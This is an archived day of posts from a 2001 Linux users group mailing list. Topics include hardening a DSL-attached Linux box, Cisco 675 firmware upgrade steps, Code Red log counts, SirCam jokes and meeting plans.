veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:17 2005 Subject: [TCLUG] DSL-attached Linux safety References: <200108021844.NAA13321@rainier.network.com> Message-ID: <023201c11b86$85813690$3028680a@tgt.com> Just a good firewall. Services are irrelavent (a firewall can block outside access to internally available services -- thus NFS can be for your LAN only), you simply need a firewall if you want true security. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "David S. Cargo" To: Sent: Thursday, August 02, 2001 1:44 PM Subject: [TCLUG] DSL-attached Linux safety > I found this recent article about hack attacks: > > http://www.theregister.co.uk/content/55/20714.html > > I now have my Linux box (Red Hat 6.2 plus misc updates) on a DSL > line behind a Cisco 678. > > What protections do I need to have in place to have a reasonable > chance of avoiding getting hacked? > > The system is not on the net 24/7; it's only connected when I'm > surfing the web. > > With this box I don't intend to have any external services available. > I guess that means I don't need an ftp daemon or an http daemon. Are > there other services I could/should turn off? > > Is there a web page somewhere that would tell me how to secure this > system? > > Thanks. > > dsc > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From cart0196 at umn.edu Thu Aug 2 13:56:34 2001 From: cart0196 at umn.edu (Brian Carter-Stiglitz) Date: Mon Jan 17 13:25:17 2005 Subject: [TCLUG] Random reboots, and lock ups In-Reply-To: References: Message-ID: <01080213563400.00805@192.168.0.7> I thought that might be a problem, because it first happened on a 90 + day when the AC was out, but subsequent reboots/locks happened when the temp was in the mid 70's after the AC in the building was fixed. I have tried to get lm-sensor up but haven't got it quite working yet. BCS On Thursday 02 August 2001 01:31 pm, you wrote: > What is the temperature in the room you're running the computer in? This > sounds like a common problem called excess heat. :) > > Andrew S. Zbikowski | http://www.ringworld.org > "We can learn much more from wise words, little > from wisecracks and less from wise guys." > --William Arthur Ward > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From jethro at freakzilla.com Thu Aug 2 14:16:45 2001 From: jethro at freakzilla.com (jethro@freakzilla.com) Date: Mon Jan 17 13:25:17 2005 Subject: [TCLUG] DSL-attached Linux safety In-Reply-To: <200108021844.NAA13321@rainier.network.com> References: <200108021844.NAA13321@rainier.network.com> Message-ID: <996779805.3b69a71d55457@dragon> Hey, Quoting "David S. Cargo" : > With this box I don't intend to have any external services available. > I guess that means I don't need an ftp daemon or an http daemon. Are > there other services I could/should turn off? EVERYTHING. Turn off ABSOLUTELY EVERYTHING. Especially, make sure you turn off inetd or xinetd, depending on which you have. Do a "netstat -an | grep LISTEN", this'll give yo ua list of open ports on your system. It should be empty. Use Red Hat's "chkconfig" utility to check what services are on. This is from memory, bu tI think "chkconfig --list" will list everything. Look for services that are on at runlevel 3. Turn off all you don't need - inetd, lp, nfs*, etc. If there's osmething in there you don't know, TURN IT OFF. Then read the docs about it. HTH, -Yaron PS Maybe we should have a Unix Security thing at a TCLUG meeting? -- From lxy at cloudnet.com Thu Aug 2 14:17:53 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:18 2005 Subject: [TCLUG] (no subject) In-Reply-To: Message-ID: On Thu, 2 Aug 2001, Troy.A Johnson wrote: > Hold on now! Exchange isn't the only 'broken > implementation of standards' game in town. > Groupwise is also quite broken (from what I > hear), though not as popular. Yup, Groupwise is 'broken standards' in action. I personally don't like their client, it has many MANY bugs and it seems pretty bulky for what it does. OTOH, the rumor of a linux client does entice me a little. I think their communication standard is just as proprietary as Exchange, although it does accept POP/SMTP clients of any flavor. Groupwsie has another route though, just as excahnge does. It has a web interface. There is a project underway to create an open-source Exchange client which uses perl to send/receive commands from the web scripts and pipe it to a desktop client. The same could be done with Groupwise, but since few use it there's no real call for it. -Brian From zibby+tclug at ringworld.org Thu Aug 2 14:34:06 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:18 2005 Subject: [TCLUG] DSL-attached Linux safety In-Reply-To: <996779805.3b69a71d55457@dragon> Message-ID: For help with firewalling under Linux, I suggest looking at plonk.sourceforge.net This is a very good script for quickly and easily setting up an ipchains based firewall. (kernel 2.2.*) I haven't looked at the iptables (2.4.*) version yet. Another firewall script you might find useful is here: http://heimdall.asgardsrealm.net/linux/firewall/ This one is for 2.4 only. Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From gabe at msi.umn.edu Thu Aug 2 14:51:47 2001 From: gabe at msi.umn.edu (Gabe Turner) Date: Mon Jan 17 13:25:18 2005 Subject: [TCLUG] Beer meeting update In-Reply-To: <20010802120847.A2720@ringworld.org>; from dieman+tclug@ringworld.org on Thu, Aug 02, 2001 at 12:08:47PM -0500 References: <20010802120847.A2720@ringworld.org> Message-ID: <20010802145147.A26801@monsoon.msi.umn.edu> On Thu, Aug 02, 2001 at 12:08:47PM -0500, Scott Dier wrote: > * Jacqueline Urick [010802 11:19]: > > Place TBD, most likely it'll be a place near the U with good food. (Why is > > it that I never eat before the meeting?) > > NOODLE! Well, if all we want is a Chinese Food meeting, than sure. They don't serve beer. Gabe -- ------------------------------------------------------------------------ Gabe Turner gabe@msi.umn.edu SGI Origin Systems Administrator, University of Minnesota Supercomputing Institute for Digital Simulation and Advanced Computation www.msi.umn.edu ------------------------------------------------------------------------ From thomas at stderr.net Thu Aug 2 15:15:32 2001 From: thomas at stderr.net (Thomas Eibner) Date: Mon Jan 17 13:25:18 2005 Subject: [TCLUG] Beer meeting update In-Reply-To: <20010802145147.A26801@monsoon.msi.umn.edu>; from gabe@msi.umn.edu on Thu, Aug 02, 2001 at 02:51:47PM -0500 References: <20010802120847.A2720@ringworld.org> <20010802145147.A26801@monsoon.msi.umn.edu> Message-ID: <20010802221532.E85682@io.stderr.net> On Thu, Aug 02, 2001 at 02:51:47PM -0500, Gabe Turner wrote: > On Thu, Aug 02, 2001 at 12:08:47PM -0500, Scott Dier wrote: > > * Jacqueline Urick [010802 11:19]: > > > Place TBD, most likely it'll be a place near the U with good food. (Why is > > > it that I never eat before the meeting?) > > > > NOODLE! > > Well, if all we want is a Chinese Food meeting, than sure. They don't > serve beer. What! no beer.. the horror! -- Thomas Eibner DnsZone mod_pointer From peter.clark at tides.com Thu Aug 2 15:02:58 2001 From: peter.clark at tides.com (peter.clark@tides.com) Date: Mon Jan 17 13:25:18 2005 Subject: [TCLUG] DSL-attached Linux safety Message-ID: <200108022028.f72KStQ05502@sprite.real-time.com> --- jethro@freakzilla.com wrote: > PS Maybe we should have a Unix Security thing at a TCLUG meeting? I second this. There's a lot that I'm still learning, even though I try to make sure that I have nothing but the essentials running. If someone would whip together a presentation about how to harden a Linux box and what to do and watch for once you've done so, I would definitely try to attend. :Peter From peter.clark at tides.com Thu Aug 2 15:13:09 2001 From: peter.clark at tides.com (peter.clark@tides.com) Date: Mon Jan 17 13:25:18 2005 Subject: [TCLUG] Japanese input in X Message-ID: <200108022038.f72KcmQ05906@sprite.real-time.com> This is actually a question for my father-in-law, who's out in Sapporo, Japan. He really wants to make Linux his primary OS, but is being held back by not knowing how to input Japanese in X. I helped him last summer to set up kinput2 (or canna, I don't remember which), but I could only get that to work with kterm. Of course, what he really needs is a way to input Japanese into a word processor. So: does anyone speak Japanese and have it in X? If so, whatinput method would you recommed? Kinput2, canna, wnn? What word processor? StarOffice? Abiword? Kword? I found this picture (http://www.kde.gr.jp/~toshitaka/Kde/KOffice/KWord/xim.png) which shows the recently patched version of Kword with Japanese input, which looks like it would be perfect for him, although I don't know what input method is being used. (As far as I know, XIM is just a generic term.) Otherwise, if all else fails, I'll just point him in the direction of the Sapporo LUG. He's on vacation right now, so I thought it would be nice to do a little research for him first. Except that I don't know Japanese, which makes reading the documentation a little difficult. :) :Peter From dieman+tclug at ringworld.org Thu Aug 2 15:47:03 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:19 2005 Subject: [TCLUG] Beer meeting update In-Reply-To: <20010802145147.A26801@monsoon.msi.umn.edu> Message-ID: <20010802154702.B2720@ringworld.org> * Gabe Turner [010802 15:01]: > Well, if all we want is a Chinese Food meeting, than sure. They don't > serve beer. Oh. Yeah. Buritto? They serve beer. :) -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From troy at doesconsulting.com Thu Aug 2 15:45:17 2001 From: troy at doesconsulting.com (Troy D. Taylor) Date: Mon Jan 17 13:25:19 2005 Subject: [TCLUG] Does anyone have the nsrouter.c675.2.4.1.bin? Message-ID: <80832445EB76D411BFB60050049B79DF628FAE@mail.jcllc.com> I am having problems with my dsl c675 being brought down almost hourly. I really need to patch this sucker with the lastest CBOS. Can anyone send me the nsrouter.c675.2.4.1.bin? Thanks! Troy D. Taylor ttaylor@jcllc.com or troy@doesconsulting.com From dieman+tclug at ringworld.org Thu Aug 2 15:48:40 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:19 2005 Subject: [TCLUG] DSL-attached Linux safety In-Reply-To: <996779805.3b69a71d55457@dragon> Message-ID: <20010802154840.C2720@ringworld.org> * jethro@freakzilla.com [010802 14:17]: > PS Maybe we should have a Unix Security thing at a TCLUG meeting? Self appointed security geeks can get up front and answer questions and spew ideas. Aftwards, we setup a deathmatch so they all kill eachother over really boring and nitpicky issues! Count me in! :) -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From doug at northlandstudios.com Thu Aug 2 15:57:01 2001 From: doug at northlandstudios.com (doug) Date: Mon Jan 17 13:25:19 2005 Subject: [TCLUG] DSL-attached Linux safety References: <200108022028.f72KStQ05502@sprite.real-time.com> Message-ID: <002d01c11b95$ae10acd0$940f3c9e@DHENRYW2P> I too would be interested in this... ----- Original Message ----- From: To: Sent: Thursday, August 02, 2001 3:02 PM Subject: Re: [TCLUG] DSL-attached Linux safety > --- jethro@freakzilla.com wrote: > > > PS Maybe we should have a Unix Security thing at a TCLUG meeting? > > I second this. There's a lot that I'm still learning, even though I try to > make sure that I have nothing but the essentials running. If someone would > whip together a presentation about how to harden a Linux box and what to do > and watch for once you've done so, I would definitely try to attend. > :Peter > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From tanner at real-time.com Thu Aug 2 16:10:13 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:19 2005 Subject: [TCLUG] mysql password('') In-Reply-To: <004a01c11b56$8ca31540$3028680a@tgt.com>; from veldy@veldy.net on Thu, Aug 02, 2001 at 08:25:06AM -0500 References: <3B691125.A6B77DB9@mn.mediaone.net> <004a01c11b56$8ca31540$3028680a@tgt.com> Message-ID: <20010802161013.C26377@real-time.com> Quoting Thomas T. Veldhouse (veldy@veldy.net): > I don't believe so. I believe that it simply stores the MD5 hash -- which > is a one-way hashing function. You have to create a new password if you > don't remember it. I normally sort the crypt(3) version of passwords in the database. I believe php has this ability and I wrote a Java version. I like to make the database tier of my application just persistent storage. I keep all the logic in the business tier. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From jeffr at odeon.net Thu Aug 2 16:18:40 2001 From: jeffr at odeon.net (jeffr@odeon.net) Date: Mon Jan 17 13:25:19 2005 Subject: [TCLUG] Does anyone have the nsrouter.c675.2.4.1.bin? In-Reply-To: <80832445EB76D411BFB60050049B79DF628FAE@mail.jcllc.com> Message-ID: From tanner at real-time.com Thu Aug 2 16:11:00 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:19 2005 Subject: [TCLUG] snowed red In-Reply-To: <20010802083717.2c3ae8eb.hick0088@tc.umn.edu>; from hick0088@tc.umn.edu on Thu, Aug 02, 2001 at 08:37:17AM -0500 References: <3b694368.32b3.0@isd.net> <20010802082047.A23470@beaver.iucha.org> <20010802083717.2c3ae8eb.hick0088@tc.umn.edu> Message-ID: <20010802161100.D26377@real-time.com> Quoting Mike Hicks (hick0088@tc.umn.edu): > "Florin Iucha" wrote: > > > > $ grep Aug access_log | grep default.ida | wc -l > > 36 > > Just in case anyone doesn't want to type that much ;-) > > grep Aug access_log | grep -c default.ida > % grep Aug access.log | grep -c default.ida 150 -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From blayer at qwest.net Thu Aug 2 16:11:09 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:19 2005 Subject: [TCLUG] Does anyone have the nsrouter.c675.2.4.1.bin? In-Reply-To: <80832445EB76D411BFB60050049B79DF628FAE@mail.jcllc.com> References: <80832445EB76D411BFB60050049B79DF628FAE@mail.jcllc.com> Message-ID: <20010802161109.1f0799d4.blayer@qwest.net> On Thu, 2 Aug 2001 14:45:17 -0600 "Troy D. Taylor" wrote: > Can anyone send me the nsrouter.c675.2.4.1.bin? Come and get it... http://frogtown.dynu.com/UserX/ I have the 2.4.1 and 2.4.2 updates. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From simeonuj at eetc.com Thu Aug 2 16:19:16 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:25:19 2005 Subject: [TCLUG] DSL-attached Linux safety References: <200108022028.f72KStQ05502@sprite.real-time.com> <002d01c11b95$ae10acd0$940f3c9e@DHENRYW2P> Message-ID: <3B69C3BD.9FC0C0AE@eetc.com> Count me in. doug wrote: > > I too would be interested in this... > > > --- jethro@freakzilla.com wrote: > > > > > PS Maybe we should have a Unix Security thing at a TCLUG meeting? > > > > I second this. There's a lot that I'm still learning, even though I try to > > make sure that I have nothing but the essentials running. If someone would > > whip together a presentation about how to harden a Linux box and what to > do > > and watch for once you've done so, I would definitely try to attend. I administer a firewall were I work and am very interested in security issues. sim From blayer at qwest.net Thu Aug 2 16:16:42 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:19 2005 Subject: [TCLUG] My CBOS upgrade HOW-TO (back by popular demand) In-Reply-To: <20010802111957.D16942@minime.sistina.com> References: <54180709DD3FE145917BB165AFE7EFA00A83F5@mspexch2.office.mktw.net> <20010802110242.1a5eb647.blayer@qwest.net> <20010802111957.D16942@minime.sistina.com> Message-ID: <20010802161642.66d3d197.blayer@qwest.net> Here you are.. I guess I should just make a webpage for this... there is also new info on how to do this via serial link, but I didn't write that part, so it's not in this message. On Thu, 2 Aug 2001 11:19:57 -0500 "Ben Lutgens" wrote: > On Thu, Aug 02, 2001 at 11:02:42AM -0500, Bill Layer wrote: > > > >Dude, if you follow my instructions - that upgrade takes you an > >honest-to-god five minutes, including downloading the code. Anyway, when > >you move, will you not be taking the 675 with you? > > > It appears I need to do that too. Bill what's the URL to the > aforementioned "instructions" and do you know the pinouts for the cable. (Note: I have telnet disabled on my 675 - you could just as easily do the 'serial console' steps over telnet, were you to have that enabled.) The easy & fast way to upgrade the CBOS (the latest version I found was 2.4.1, so I used it) is via tftp. The drill goes like this: (IMPORTANT NOTE: I assume that the 675 is ip 10.0.0.1, and the client used to send the upgrade is 10.0.0.2. Adjust as required for your network.) Log into CBOS over the serial cable, enter enable mode. #set tftp enabled #set tftp remote 10.0.0.2 (this may be optional, but I set it the address of my desktop. This forces the 675 tftp to only accept tftp connects from a single host (security)). Now, from the client machine 10.0.0.2, and assuming you have downloaded CBOS 2.4.1 as filename 'nsrouter.c675.2.4.1.bin': $mv nsrouter.c675.2.4.1.bin nsrouter.c675.2.4.1.bin.hr $tftp 10.0.0.1 69 tftp>mode binary tftp>put nsrouter.c675.2.4.1.bin.hr tftp>quit Back to the CBOS serial console on more time: #set tftp disabled #reboot The modem should reboot, check a bunch of checksums, *then* it flashes the EEPROM, reboots again and wakes up with the new version. You shouldn't have to touch any of your NVRAM settings, but if they are ugly, log into the serial console, enter enable mode and do: #set nvram erase #write #reboot Then you may configure the unit as if factory-fresh; ppp passwords and all... -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From tanner at real-time.com Thu Aug 2 16:33:49 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:19 2005 Subject: [TCLUG] SirCam Message-ID: <20010802163349.H26377@real-time.com> Wow! I got over 1Gb of SirCam mail and attachments today! -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From mike at getbent.net Thu Aug 2 16:50:59 2001 From: mike at getbent.net (Mike Nielsen) Date: Mon Jan 17 13:25:19 2005 Subject: [TCLUG] My CBOS upgrade HOW-TO (back by popular demand) In-Reply-To: <20010802161642.66d3d197.blayer@qwest.net> References: <54180709DD3FE145917BB165AFE7EFA00A83F5@mspexch2.office.mktw.net> <20010802111957.D16942@minime.sistina.com> <20010802161642.66d3d197.blayer@qwest.net> Message-ID: <01080216505900.00324@Dingo> Hey there I followed your how-to but ran into one of those irritating snags. I had to resort to plan B and update the cbos via serial as something went off in the tftp transfer. Anyway you might want to add a cleaned up version of this to your How-to: When|if your cisco comes back up and you get a happy little => Prompt you need to do the following steps with a working serial connection (Minicom or god forbid Hyperterminal) 1) Erase what's there (I actually did the upgrade without erasing any of my previous settings. I assume this will come back and bite me in the rump in a few days) => es 0 => es 1 => es 2 => es 3 => es 4 => es 5 2) Upload the CBOS to the cisco => df 10008000 (It will begin the upload of the cbos. Send it via your terminal program with the xmodem protocol, takes about 10 minutes) After the transfer make node the bytes transferred. You'r looking for a Hex number. 3) Reprogram the flash => pb 10008000 fee00000 (Hex number from above) 4) reboot => rb You might have to reenter your connection settings or what not but things should go well. I'm not sure what my tftp problem was, I oddly enough used the same .bin image in tftp as I did with the serial connection. Hope that helps anyone else who might get stuck On Thursday 02 August 2001 16:16, you wrote: > Here you are.. I guess I should just make a webpage for this... there is > also new info on how to do this via serial link, but I didn't write that > part, so it's not in this message. > > On Thu, 2 Aug 2001 11:19:57 -0500 > > "Ben Lutgens" wrote: > > On Thu, Aug 02, 2001 at 11:02:42AM -0500, Bill Layer wrote: > > >Dude, if you follow my instructions - that upgrade takes you an > > >honest-to-god five minutes, including downloading the code. Anyway, > > when > > > >you move, will you not be taking the 675 with you? > > > > It appears I need to do that too. Bill what's the URL to the > > aforementioned "instructions" and do you know the pinouts for the cable. > > (Note: I have telnet disabled on my 675 - you could just as easily do the > 'serial console' steps over telnet, were you to have that enabled.) > > The easy & fast way to upgrade the CBOS (the latest version I found was > 2.4.1, so I used it) is via tftp. The drill goes like this: (IMPORTANT > NOTE: I assume that the 675 is ip 10.0.0.1, and the client used to send > the upgrade is 10.0.0.2. Adjust as required for your network.) > > Log into CBOS over the serial cable, enter enable mode. > > #set tftp enabled > #set tftp remote 10.0.0.2 (this may be optional, but I set it the address > of my desktop. This forces the 675 tftp to only accept tftp connects from > a single host (security)). > > Now, from the client machine 10.0.0.2, and assuming you have downloaded > CBOS 2.4.1 as filename 'nsrouter.c675.2.4.1.bin': > > $mv nsrouter.c675.2.4.1.bin nsrouter.c675.2.4.1.bin.hr > $tftp 10.0.0.1 69 > tftp>mode binary > tftp>put nsrouter.c675.2.4.1.bin.hr > tftp>quit > > Back to the CBOS serial console on more time: > > #set tftp disabled > #reboot > > The modem should reboot, check a bunch of checksums, *then* it flashes the > EEPROM, reboots again and wakes up with the new version. You shouldn't > have to touch any of your NVRAM settings, but if they are ugly, log into > the serial console, enter enable mode and do: > > #set nvram erase > #write > #reboot > > Then you may configure the unit as if factory-fresh; ppp passwords and > all... > > > -.bill.layer.- > > -.those who are talking don't know, and those who know aren't talking.- > > -.frogtown.- -.minnesota.- -.u.s.a.- > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- ----------------------------- |\/|ike@GetBent.net From tanner at real-time.com Thu Aug 2 17:00:13 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:19 2005 Subject: [TCLUG] Does anyone have the nsrouter.c675.2.4.1.bin? In-Reply-To: <80832445EB76D411BFB60050049B79DF628FAE@mail.jcllc.com>; from troy@doesconsulting.com on Thu, Aug 02, 2001 at 02:45:17PM -0600 References: <80832445EB76D411BFB60050049B79DF628FAE@mail.jcllc.com> Message-ID: <20010802170013.L26377@real-time.com> Quoting Troy D. Taylor (troy@doesconsulting.com): > I am having problems with my dsl c675 being brought down almost hourly. > > I really need to patch this sucker with the lastest CBOS. > > Can anyone send me the nsrouter.c675.2.4.1.bin? Bill? :-) http://www.mn-linux.org/search/ http://www.mn-linux.org/members/tanner/ -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From cfandre at fandre.com Thu Aug 2 13:03:42 2001 From: cfandre at fandre.com (Clay Fandre) Date: Mon Jan 17 13:25:19 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] TCLUG Monthly Meeting - DNS Message-ID: <20010802130341.C5116@fandre.com> Next TCLUG Meeting When: Saturday August 4th, 2001 noon - 2pm Topic: DNS - Various Speakers We will have various members of the TCLUG talk about various DNS setups. Where: Room 3-180, which is on the ground floor of the EE-CS building on the east bank campus. University of Minnesota Electrical Engineering/Computer Science Building 200 Union Street SE Minneapolis, MN 55455 Click here for driving directions. http://www.mapquest.com/cgi-bin/mqtrip?link=btwn/twn-ddir_na_basic_main&dir=New+Directions&DLL=449744,-932319&ADDR_1=200+UNION+ST+SE&CITY_1=MINNEAPOLIS&STATE_1=MN&ZIP_1=55455-0154&uid=u9c2m4c1qqxbr9qd:z59zyg5rt&CC_1=US Parking: The Washington Street Ramp is across the street. http://www1.umn.edu/parking/maps/ebcolr.htm Hope to see you there! Check http://www.mn-linux.org/meetings/ for more information. _______________________________________________ tclug-announce mailing list tclug-announce@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-announce From hick0088 at tc.umn.edu Thu Aug 2 17:29:26 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:20 2005 Subject: [TCLUG] snowed red In-Reply-To: <20010802161100.D26377@real-time.com> References: <3b694368.32b3.0@isd.net> <20010802082047.A23470@beaver.iucha.org> <20010802083717.2c3ae8eb.hick0088@tc.umn.edu> <20010802161100.D26377@real-time.com> Message-ID: <20010802172926.022d1894.hick0088@tc.umn.edu> Bob Tanner wrote: > > % grep Aug access.log | grep -c default.ida > 150 Heh. You have multiple (2-3?) interfaces? -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ I went to a general / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ store. They wouldn't let \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) me buy anything specific. [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010802/bf24f371/attachment.pgp From hick0088 at tc.umn.edu Thu Aug 2 17:31:54 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:20 2005 Subject: [TCLUG] Beer meeting update In-Reply-To: <20010802154702.B2720@ringworld.org> References: <20010802145147.A26801@monsoon.msi.umn.edu> <20010802154702.B2720@ringworld.org> Message-ID: <20010802173154.6c97a9fe.hick0088@tc.umn.edu> Scott Dier wrote: > > * Gabe Turner [010802 15:01]: > > Well, if all we want is a Chinese Food meeting, than sure. They don't > > serve beer. > > Oh. Yeah. > > Buritto? They serve beer. :) Uh, `Burrito' = `Chipotle'? `Noodle' = `Wok'? -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Oops. My brain just hit a / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ bad sector. \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010802/c235f177/attachment.pgp From blayer at qwest.net Thu Aug 2 17:39:46 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:20 2005 Subject: [TCLUG] Does anyone have the nsrouter.c675.2.4.1.bin? In-Reply-To: <20010802170013.L26377@real-time.com> References: <80832445EB76D411BFB60050049B79DF628FAE@mail.jcllc.com> <20010802170013.L26377@real-time.com> Message-ID: <20010802173946.08f114d4.blayer@qwest.net> On Thu, 2 Aug 2001 17:00:13 -0500 "Bob Tanner" wrote: > Quoting Troy D. Taylor (troy@doesconsulting.com): > > I am having problems with my dsl c675 being brought down almost hourly. > > > > I really need to patch this sucker with the lastest CBOS. > > > > Can anyone send me the nsrouter.c675.2.4.1.bin? > > Bill? :-) > > http://www.mn-linux.org/search/ > > http://www.mn-linux.org/members/tanner/ Well, we both put it up at the same time a week or two ago - and I didn't remember _your_ URL, but I did remember mine ;) Pardon me while I defer to the official site for the unofficially released Cisco firmware :p -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From blayer at qwest.net Thu Aug 2 17:42:06 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:20 2005 Subject: [TCLUG] SirCam In-Reply-To: <20010802163349.H26377@real-time.com> References: <20010802163349.H26377@real-time.com> Message-ID: <20010802174206.2db46862.blayer@qwest.net> Dear Bob, On Thu, 2 Aug 2001 16:33:49 -0500 "Bob Tanner" wrote: > Wow! > > I got over 1Gb of SirCam mail and attachments today! Hi! How are you? I send you this file in order to have your advice See you later. Thanks -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From dieman+tclug at ringworld.org Thu Aug 2 18:02:26 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:20 2005 Subject: [TCLUG] Beer meeting update In-Reply-To: <20010802173154.6c97a9fe.hick0088@tc.umn.edu> Message-ID: <20010802180226.A6692@ringworld.org> * Mike Hicks [010802 17:34]: > Uh, `Burrito' = `Chipotle'? `Noodle' = `Wok'? Hong Kong Noodle. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From hick0088 at tc.umn.edu Thu Aug 2 18:10:20 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:20 2005 Subject: [TCLUG] Perens on Sklyarov Message-ID: <20010802181020.03043fc9.hick0088@tc.umn.edu> Bruce Perens wrote a good commentary piece on what Sklyarov uncovered when he broke the encryption schemes on Adobe's e-Book software. http://www.zdnet.com/filters/printerfriendly/0,6061,2800985-2,00.html -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ !pu dekcuf sreenigne / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ tfosorciM \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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Scott Dier wrote: > Hong Kong Noodle. > > -- Yadda, yadda, yadda From phil at rephil.org Thu Aug 2 20:52:33 2001 From: phil at rephil.org (Phil Mendelsohn) Date: Mon Jan 17 13:25:20 2005 Subject: [TCLUG] Re: DSL security stuff In-Reply-To: <200108022153.f72Lr5Q10012@sprite.real-time.com>; from tclug-list-request@mn-linux.org on Thu, Aug 02, 2001 at 04:53:05PM -0500 References: <200108022153.f72Lr5Q10012@sprite.real-time.com> Message-ID: <20010802205233.A29167@rephil.org> On Thu, Aug 02, 2001 at 04:53:05PM -0500, tclug-list-request@mn-linux.org wrote: > Message: 8 > Date: Thu, 2 Aug 2001 15:48:40 -0500 > From: Scott Dier > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] DSL-attached Linux safety > Reply-To: tclug-list@mn-linux.org > > * jethro@freakzilla.com [010802 14:17]: > > PS Maybe we should have a Unix Security thing at a TCLUG meeting? > > Self appointed security geeks can get up front and answer questions and > spew ideas. Aftwards, we setup a deathmatch so they all kill eachother > over really boring and nitpicky issues! > > Count me in! :) Count me in, too. However, it's easy to spot the real security geeks. Look not at the guy up front, but the quiet one in the corner with big ears. One of the reasons why Unix security is an ongoing battle is admins who can't resist telling everyone what they just did! ;) Phil From hick0088 at tc.umn.edu Thu Aug 2 22:27:27 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:20 2005 Subject: [TCLUG] SirCam In-Reply-To: <20010802163349.H26377@real-time.com> References: <20010802163349.H26377@real-time.com> Message-ID: <20010802222727.0c61e150.hick0088@tc.umn.edu> Bob Tanner wrote: > > Wow! > > I got over 1Gb of SirCam mail and attachments today! Heh, but just think of it -- if the mail trojans and worms continue to get better, in a few years all of the junk traffic will just be the background noise in everyone's mailbox (if it isn't already). Of course, this kind of `background noise' is like putting a Mack truck in the middle of a bike race... -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ (A)bort, (R)etry, / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ (I)nfluence with large \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) hammer [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : 